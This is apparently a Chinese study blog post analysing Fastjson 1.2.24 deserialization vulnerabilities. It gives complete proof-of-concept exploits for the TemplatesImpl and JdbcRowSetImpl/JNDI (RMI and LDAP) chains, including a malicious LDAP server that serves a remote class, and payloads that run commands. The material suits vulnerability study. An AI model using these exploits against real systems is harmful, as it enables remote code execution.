这篇就不多啰嗦了,直接把我看过的文章简单总结一下

简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。


基础

序列化(java对象->json):JSON.toJSONString()
反序列化(json->java对象):JSON.parseObject()/JSON.parse()

parse VS parseObject:
parse()返回实际类型的对象
parseObject()返回JSONObject对象
一般情况都用parseObject()

若要还原私有属性,需加Feature.SupportNonPublicField参数

反序列化语句demo(里面参数Object.class):

1
2
String jsonString ="{\"@type\":\"Student\",\"age\":20,\"name\":\"Assass1n\"}";  
Object obj = JSON.parseObject(jsonString, Student.class);

fastjson 反序列化漏洞原理

fastjson 在反序列化的时候会找@type中规定的类,然后调用满足下列条件的setter()/getter()
条件:
setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:

  • 该类的构造函数、setter方法、getter方法中的某一个存在危险操作
  • 可以控制该漏洞函数的变量(一般就是该类的属性)

总的看不是很难,原理就是反序列化的时候调了setter getter


Fastjson 1.2.24

环境

  • jdk8u65
  • 1.2.22 <= Fastjson <=1.2.24

依赖:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

TemplatesImpl 利用链

这里和CC3很像,但是不需要反射赋值了,直接把恶意的代码放到json里即可
json 开头要接@type
关键点在于找到反序列化类的构造函数,getter,setter有漏洞的可以利用的地方

在学 CC3 的时候,漏洞点在调用了 newInstance(),这里其实是一个 getter() 调用了 newInstance(),但是这个 getter 不满足上面的条件
TemplatesImpl.getTransletInstance()
所以就要继续往上找,找到一个满足条件的 getter(),这里找 getTransletInstance() 的用法时找到了这个调用层次中有 getter()
调用层次
getOutputProperties()

所以现在的链:

1
getOutputProperties() -> newTransformer() -> getTransletInstance()

所以除了之前CC3中需要赋的值外还需要给 getOutputProperties() 的 outputProperties 赋值,这里先赋为空

payload:

1
2
3
4
5
6
7
8
9
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
"{
\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode(base64)+"\"],
'_name':'Assass1n',
'_tfactory':{ },
\"_outputProperties\":{ },
}
";

注意:
fastjson在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,所以在序列化时也会进行base64编码

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.assass1n;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class TemplatesImplPOC {
public static String getClassB64() throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

//创建类
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("fastjson1224");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();
String base64Code = Base64.getEncoder().encodeToString(bytes);
return base64Code;
}

public static void main(String[] args) throws Exception {
ParserConfig parserConfig = new ParserConfig();
String js = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+getClassB64()+"\"],\"_name\":\"Assass1n\",\"_tfactory\":{ },\"_outputProperties\":{}}";
System.out.println(js);
Object obj = JSON.parseObject(js, Object.class, parserConfig, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl 利用链

这个利用链其实就是 JNDI 注入的形式,一共有下面两种 JNDI + RMI & JNDI + LDAP

JNDI + RMI

分析

JNDI 的部分我没有写博客,可以先看看网上的文章
这里直接附一下 JNDI + RMI 的代码

1
2
3
4
5
6
7
8
9
// JNDI_RMIClient.java
import javax.naming.InitialContext;

public class JNDI_RMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// JNDI_RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDI_RMIServer {
public static void main(String[] args) throws Exception{
//JNDI
//将 RMI 服务注册到 1099
Registry registry = LocateRegistry.createRegistry(1099);
//创建一个 Reference 对象
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:7777");
//用 ReferenceWrapper 包装 Reference 对象,使其继承 UnicastRemoteObject 类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}

这里 JNDI_RMIClient 中 JNDI 注入的代码都是我自己构造的,但是有什么地方真正执行了 lookup() 呢?
于是就有了 JdbcRowSetImpl 利用链

JdbcRowSetImpl 中,发现 connect() 调用了 lookup(),这个方法跟前面我们写的 JNDI_RMIClient 有点像,也是 new InitialContext() 然后 lookup(),只不过这里是 InitialContext.lookup(this.getDataSourceName())返回一个数据源对象 DataSource,然后再调用 getConnection() 方法,返回一个 Connection 对象,所以如果这里的 this.getDataSourceName() 可控就可以结合 JNDI 注入了
JdbcRowSetImpl.connect()

其实从名字就可以看出这是一个 getter(),跟进之后发现他会返回一个 this.dataSource,也很明显可以看出这个数据源是由下面的 setter() 赋的,而 fastjson 反序列化时正好调用的就是 setter(),这里就可以接上了
get/setDataSource()

现在可以往回找哪里调用了 connect(),找到了下面三个地方,其中比较符合条件的就只有 setAutoCommit(boolean),刚好也是可以通过 fastjson 反序列化来调用的

setAutoCommit(boolean)

调用过程:
setAutoCommit(boolean) -> Connect() -> getDataSource() -> setDataSource()

所以整体思路就是:
反序列化时会触发setDataSource(),把我们的dataSourceName传进去,传给了connect()里面调用的lookup()
接着设置autoCommit,使其触发setAutoCommit()来调用connect()

简单说就是设置dataSourceName属性传参给 lookup(),然后通过设置autoCommit属性来触发最终的 lookup()

payload:

1
2
3
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"rmi://localhost:1099/calc\",
\"autoCommit\":true}";

EXP

这里的 Server 和前面 JNDI 注入的 server 是一样的,就不重复贴了
编译 Calc.java 在当前目录起服务即可

1
2
3
4
5
public class Calc{
public Calc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

EXP:

1
2
3
4
5
6
7
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/calc\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

JNDI + LDAP(同理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
//jndi_ldap_server.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

//在JDK8u191、7u201、6u211以下
public class jndi_ldap_server {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:7777/#Calc";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

EXP:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class EXP {
public static void main(String[] args) throws NamingException{
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/Calc\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

参考

JdbcRowSetImpl利用链